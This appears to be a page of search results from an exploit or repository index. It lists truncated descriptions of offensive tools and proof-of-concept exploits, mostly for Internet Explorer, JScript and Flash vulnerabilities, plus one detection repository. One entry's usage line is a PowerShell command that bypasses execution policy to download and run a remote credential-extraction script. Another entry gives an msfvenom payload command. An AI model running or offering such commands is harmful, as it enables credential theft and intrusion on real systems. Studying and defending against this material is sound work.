26370 matches found
credgrap_ie_edge
credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...
snuck
snuck Automatic XSS filter bypass Overview snuck is an automatic tool whose goal is to significantly test a given XSS filter by specializing the injections on the basis of the reflection context. This approach adopts Selenium to drive a web browser in reproducing both the attacker and the victim...
js-driveby-download-CVE-2006-4777
js-driveby-download-CVE-2006-4777 client-side malware exploiting vulnerability in Internet Explorer 6.0 SP1 on Windows XP SP2. Requires no user consent and does not download any file. Shell Code Injection into RAM from JavaScript with IE on Windows XP. Fileless, drive-by-download, client side...
CVE-2018-4878
Author and Credits Author: Vincent Yiu @vysecurity Credits: @evi1cg: Helping me test and keep me motivated @smgoreli: Original Calc.exe PoC @kbandla: He knows, and I know. ; Disclaimer Developed to encourage more Aggressor script development. Use only in authorized penetration testing! Descriptio...
CVE-2019-1221
PoC exploit for CVE-2019-1221 Lost the origin of this PoC Targets Internet Explorer 11 32-bit on Windows 10 x64 upto RS5 Uses "VBScript.Encode" / CVE-2019-0768 so that exploit works up to RS5 Runs calc using WinExec...
CVE-2017-8625_Bypass_UMCI
QuĆ© es ! Windows Defender Device Guard ! Windows Defender Device Guard es una combinaciĆ³n de funciones de seguridad de hardware y software relacionadas con la empresa que, cuando se configuran juntas, bloquean un dispositivo para que solo pueda ejecutar aplicaciones confiables que defina en sus...
CVE-2019-0752
https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer PoC exploit for CVE-2019-0752 Targets Internet Explorer 11 32bit on Windows 10 x64 up to RS4, RS5? Uses special address values in adddition to some path magic to avoid using...
MS16-051-poc
CVE-2016-0189 Proof-of-Concept exploit for CVE-2016-0189 VBScript Memory Corruption in IE11 Tested on Windows 10 IE 11. Write-up https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 To run 1. Download support/.dll or compile .cpp for yourself and exploit/.html to a directory. 2...
CVE-2018-15982_EXP_IE
CVE-2018-15982EXP Usage msfvenom -p windows/exec cmd=calc.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=calc.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin output exp.swf and index.htmlć Demo https://twitter.com/Evi1cg/status/1071284773169950721...
CVE-2021-40444_builders
CVE-2021-40444 builders This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit. This repo is just for testing, research and educational purposes. You are responsible for how you use the code provided in this repo. The code is developed by reversing malware...
CVE-2018-15982
Credits @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 Description Aggressor Script to launch an Internet Explorer driveby attack using CVE-2018-15982 exploit for Flash player. Affected Product Versions Adobe Flash Player Host...
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Remote Code Execution via Use-After-Free in JScript.dll CVE-2025-30397 š§ Description This repository contains a proof-of-concept PoC exploit for a Use-After-Free vulnerability in the JScript engine jscript.dll affecting Windows Serve...
GTranslate < 2.8.65 - Cross-Site Scripting
In the Pro and Enterprise versions of GTranslate 2.8.65, the gtranslaterequesturivar function runs at the top of all pages and echoes out the contents of $SERVER'REQUESTURI'. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable ...
Internet-Explorer-UAF
This repository does not have a README...
angularjs-poc-cve-2022-25869
About This is a minimal Proof-Of-Concept for an AngularJS XSS vulnerability affecting Internet Explorer CVE-2022-25869. You can see it live at https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869...
detect_CVE-2026-21509
Detections for the CVE-2026-21509 vulnerability in MS Office This repository contains a YARA rule to detect RTF documents with a potential exploit for CVE-2026-21509, and a Python script to check if MS Office files contain Shell.Explorer.1 OLE objects, which is related to that vulnerability. See...
CVE-2020-0674
CVE-2020-0674 CVE-2020-0674 is a use-after-free vulnerability in the legacy jscript engine. It can be triggered in Internet Explorer. The exploit here is written by maxpl0it but the vulnerability itself was discovered by Qihoo 360 being used in the wild. This exploit simply pops calc. Exploit...
CVE-2023-36884
CVE-2023-36884 comeonits2023 ie9 Storm-0978 https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330731v=vs.85 https://learn.microsoft.com/en-us/archive/blogs/ieinternals/internet-explorer-9-0-2-update...
CVE-2018-4878
Author and Credits Author: Vincent Yiu @vysecurity Credits: @evi1cg: Helping me test and keep me motivated @smgoreli: Original Calc.exe PoC @kbandla: He knows, and I know. ; Disclaimer Developed to encourage more Aggressor script development. Use only in authorized penetration testing! Descriptio...
cve-2018-8389
jscript.dll - ActiveXObject BSTR - Use After Free Vulnerability Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. Vulnerability Description A remote code execution vulnerability exists in the way that the scripting engine handles...